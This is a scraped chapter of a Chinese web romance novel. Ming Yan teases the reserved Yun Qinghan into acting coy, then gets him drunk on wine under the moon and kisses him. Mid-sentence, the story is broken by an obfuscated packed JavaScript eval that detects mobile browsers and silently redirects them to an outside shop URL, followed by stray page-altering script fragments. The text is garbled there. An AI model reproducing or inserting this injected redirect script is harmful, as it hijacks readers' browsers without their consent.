文趣网 > 其他小说 > 被清冷少主带回宗门娇养后 > 32.天下第一好
    “哥哥撒个娇看看。”

    闻言,云倾寒霎时耳根通红,清冷的脸上浮现出一丝别扭:“这、”他抿唇,“我不会……”

    颀长的身形,就这样定住,这似乎比方才的事更让他为难。

    明言道:“那算了,我去找阿遇玩儿去,让他撒娇给我看。”

    “等等!”

    “我……试试。”声音微颤,他硬着头皮答应。

    “好~”

    明言心中暗喜,面上挂着得逞的笑,期待地看着他。

    他耳根的温度居高不下,微微仰头,尽力让自己的声音听起来不那么别扭:“阿言……”

    停顿了许久,他别过头,“就当是我,在撒娇罢。”

    明言哭笑不得,扶着他的肩来回去看他的脸,一连串的疑问袭去:“完了?哪有撒娇嘛?就这?”

    “那……”他想了想,缓缓伸出手,将她背后的乌发拿至身前一缕,轻轻顺着,问,“这样呢,算罢?”

    凝着她,他向来清冷的眸子看起来竟带了几分求知的清澈。

    “这叫什么撒娇嘛?”她的头埋进他怀中蹭着。

    “那你想要怎样的……撒娇?”他问。

    他连说出这两个字都困难,别说要他做了。

    明言恨铁不成钢地说:“你自己想。”

    云倾寒偏过头又思索片刻,深吸一口气,犹豫良久后俯身,唇贴在她耳边低声:“阿言,你对我很重要。”

    说完他在她耳边轻吻了下,迅速直起身离开了。

    “什么鬼嘛。”

    看着他的模样,明言实在忍不住笑出了声,抬手揉起他的侧脸,“我方才说错了,哥哥不是明月,是含羞草~”

    那张冷峻的面容被揉得变了形,他伸手欲拿下她的手,却又在半空中停住,最终无奈地放下。

    “这可不是撒娇,还是我教教你吧,撒娇是说话要带上‘嘛~’,试试吧。”

    她继续逗他。

    他耳根红得仿佛要滴血,清了清喉:“阿言、”停顿了下,他努力让自己说出那个字,“嘛。”

    说完他便凝着她,等待着她的评价。

    明言好笑道:“不是一个字,是一句话的末尾要带上‘嘛~’。”

    他脸上浮现出极致的窘迫,垂眸似乎在组织言语,随后温声说了句:“这样可以了嘛?”

    明言忍着笑意说:“嗯,声音要再软一些。”

    嘴唇微抿,他琢磨着让自己的声音更柔软些:“这样可以了嘛?”

    这次说完他就闭上了眼,难为情到恨不得直接晕过去。

    “可以,来跟着我说:倾寒哥哥最喜欢阿言了~”

    小姑娘像是发现了什么特别好玩的事,就是不放过他。

    云倾寒轻呼一口气,努力模仿着她的语调:“倾寒哥哥最喜欢阿言了、”

    “真的嘛~”

    云倾寒认真颔首:“嗯。”

    明言道:“那继续跟着我念:阿言天下第一好~”

    云倾寒的唇瓣微微动了动,尽量保持声音的软糯:“阿言天下第一好、”

    “真的嘛~”

    眸中倒映着她的模样,他耳根殷红更甚,再次颔首:“嗯。”

    “可是我觉得哥哥才是天下第一好呢。”明言抬指刮了下他挺秀的鼻梁,甜盈盈笑着。

    看着他避开她的手垂眸浅笑,唇角弯着笑意,她调侃道:“怎么,我们家明月哥哥又要变成含羞草了嘛?”

    “好了,回去了。”

    云倾寒转身快步离开。

    走了段距离,他察觉到人没有及时跟上,又放慢了脚步,侧头利用余光看了一眼。

    最后他还是忍不住停下,回头,发现身后没了人影。

    “这位小公子刚刚还走得匆忙,现在又是在等哪位好友呀?”

    就在他转身的瞬间,明言快速绕到了他前面。

    “才不是朋友。”云倾寒转回身,下意识脱口反驳。

    明言佯装思索,道:“哦……不是朋友,那是最重要的人,是最喜欢的人,是天下第一好的人呢。”

    听到她又完整重复了一遍他刚才“撒娇”时说的话,那些回忆猛然砸上来,羞赧之感顿时又涌入心头。

    他没再停留,匆匆走了。

    “哎呀,等等我嘛,不逗你就是了。”

    ……

    终于等到明月高挂的夜晚。

    明言笑嘻嘻地拿出那壶酒,拉着云倾寒跑到外面的石案坐下,对他道:“已经晚上了,这下总可以喝了吧,不能反悔。”

    “嗯,但我们还是回屋中喝吧,外头寒凉。”

    云倾寒怕她喝醉后一不留神便又跑了。

    “不要,你看今晚那月亮多圆多亮啊,还有满天的繁星,就得一边赏月看星星一边喝酒!”

    明言指着那轮满月和周遭的星星道。

    顺着她指尖的方向他抬头看了一眼高悬的月亮,果真如她所说很圆很亮也极美,思索片刻,他默许了。

    他拿出白玉酒杯,拂袖给兴致正浓的小姑娘倒下一杯。

    看到酒满,她掠过去一饮而尽,吞咽进去后,咂了咂嘴,一脸沉醉。

    见状,云倾寒轻笑道:“看来这酒,甚合你心意。”

    “不能浪费了。”明言又捻过一只酒杯,倒满后递给云倾寒,“你也喝些嘛。”

    “我……”

    “诶停!”明言打住他的话,“又要说不喜饮酒了,就尝一杯嘛。”

    说着她将那杯酒往他身前推了推。

    之前他说不喜饮酒她还真信了,没想到阮宁音竟说他们从前经常偷酒喝,她倒要看看究竟是怎么个事!

    看她这模样,云倾寒犹豫良久,低声说:“就一杯。”

    “好~”

    明言拿起酒杯递到他唇边,嘴角勾起。

    她还不知道他?说什么一杯,只要同意喝这一杯,一会儿就等着一杯接一杯吧。

    只见他接过酒杯后,先轻轻抿了下,停顿一瞬后一饮而尽,放回酒杯,整个过程没有一丝表情。

    “怎么样,好喝不好喝?”明言紧盯他的眼眸,想从中看出些情绪。

    他并未回答她这个问题,只淡淡说了句:“你自便罢。”

    “那不行,我看哥哥也没有觉得难喝到难以下咽,就陪我喝嘛,我自己一个人喝,一个人赏月看星星,一点意思都没有……”她说得委屈极了。

    面上委屈着,手上却不动声色地又倒一杯,默默推到他面前。

    “你不想陪我赏月么……算了,我自己喝……”见他垂眸沉默,明言握着酒杯又缓慢地往回移动。

    就在这时,一只略带冰凉的手掌突然制住了她的手。

    明言心中暗笑,面上却失落地看向他,并问道:“怎么了哥哥?也不让我喝了吗……”

    云倾寒忙道:“没有,我陪你喝就是了。”

    “真的?”

    明言迅速将酒递给他,又给自己倒了一杯,拿着酒杯去触碰了下他的杯壁,先一步一饮而尽。

    “哥哥,我已经喝了。”

    她倒挂酒杯甩了甩

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932082|210101||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,示意杯内已经干净。

    看向她,他拿着酒杯放到唇边,亦向口中缓缓倾倒,这次他喝的极慢,像是有几分恋恋不舍。

    明言看出来他绝非不喜欢这酒,反而更像是终于得到了什么求而不得之物。

    喝完这杯,他脸上开始泛起一抹清浅的红晕。

    明言笑了,继续给他添一杯,碰杯后说:“这杯我要敬倾寒哥哥,不仅日日陪我练剑,现在还步步退让,陪我喝了两杯酒了。”

    月光洒在玉杯壁,散出柔和的光泽。

    “阿言,差不多了,莫要喝醉了。”

    “才两杯,怎会醉,而且我都敬你了,这杯不能不喝。”

    云倾寒喉头吞咽,终是把第三杯喝了。

    才饮尽他脸颊便开始明显泛红,眸底染上迷离,竭力保持清醒,看着眼前小姑娘,他声音带着醉意:“你是不是醉了,我带你回去罢。”

    “到底是我醉了,还是你醉了?”明言歪头观察着他,声音带笑。

    云倾寒眨了眨眼,欲努力集中精神看清她,语气却依旧免不了掺着绵软醉意:“我确实是有些不胜酒力了。”

    她猜到了他可能不胜酒力,可也没想到才三杯就醉成这样了啊。

    “你真的醉了啊,那我扶你回去吧。”

    明言起身欲扶他起来。

    云倾寒轻轻点了点头,脸颊带着醉意的绯红越来越浓:“嗯,多谢阿言。”

    他缓缓起身,身形却有些不稳,靠在了她身上。

    明言扶着他踉踉跄跄地朝雾月居走。

    夜风拂过,吹起发丝轻挠着二人的侧脸。

    走着走着,明言感觉他的身体愈发沉重,也愈发难以把控。

    “诶别!那边是温泉!”

    她急将他往回拽,差一步就要跌下去。

    明言揽着他抵在他怀里,就此平稳住他的身体,仰头看着他醉醺醺的模样调侃:“你的酒量怎么差成这样。”

    二人摇摇晃晃地走,拖着一个人,她走得累极,最终勉强先将他抵到一棵粗木前,他垂着脑袋,长顺及腰的墨发微乱,哪里还有半分矜冷端方,只有她从未见过的温软模样。

    抚上他的脸,她喊了句:“倾寒哥哥?”

    似是觉得这样的抚触很舒适,他抬头轻轻眯起眼,声音带着几分醉意的慵懒:“嗯……我还在。”

    看着他这样子,明言忍不住惦记上了他的唇,于是她踮脚轻轻吻了上去。

    呼吸陡然一滞,他醉意朦胧的眸子睁大了些,反应过来后,立马顺从地闭上。

    感受着唇上的柔软,他心脏“咚咚”直跳,在这静谧的夜晚格外清晰。

    吮着他的唇她更加贴近他的身体,将他紧紧抵在树上。

    身体不由得轻颤,他的双手向后抵住树干,微侧过头,任她在唇上作乱。

    如此姿态,好像是她欺负轻薄了他。

    良久,明言终于松开他,呼吸急促。

    云倾寒眼角红红地看着她,声音带着些喘息:“阿言,你……好温柔。”

    “嗯?”她倒是震惊于他的话,“我怎么温柔了呢?”

    “你的吻,还有你的拥抱,都让我觉得很温柔。”

    “那我可是只对倾寒哥哥温柔呢。”

    这不顺着他的话哄他都亏了。

    醉眼朦胧地望着她,他唇角噙着一抹浅笑,伸手覆上她放在自己侧脸的手,感受着她掌心的温度:“嗯,我知道。”

    “行了,我扶你回去,要紧跟着我,不要乱走。”她重新揽住他清瘦的腰腹。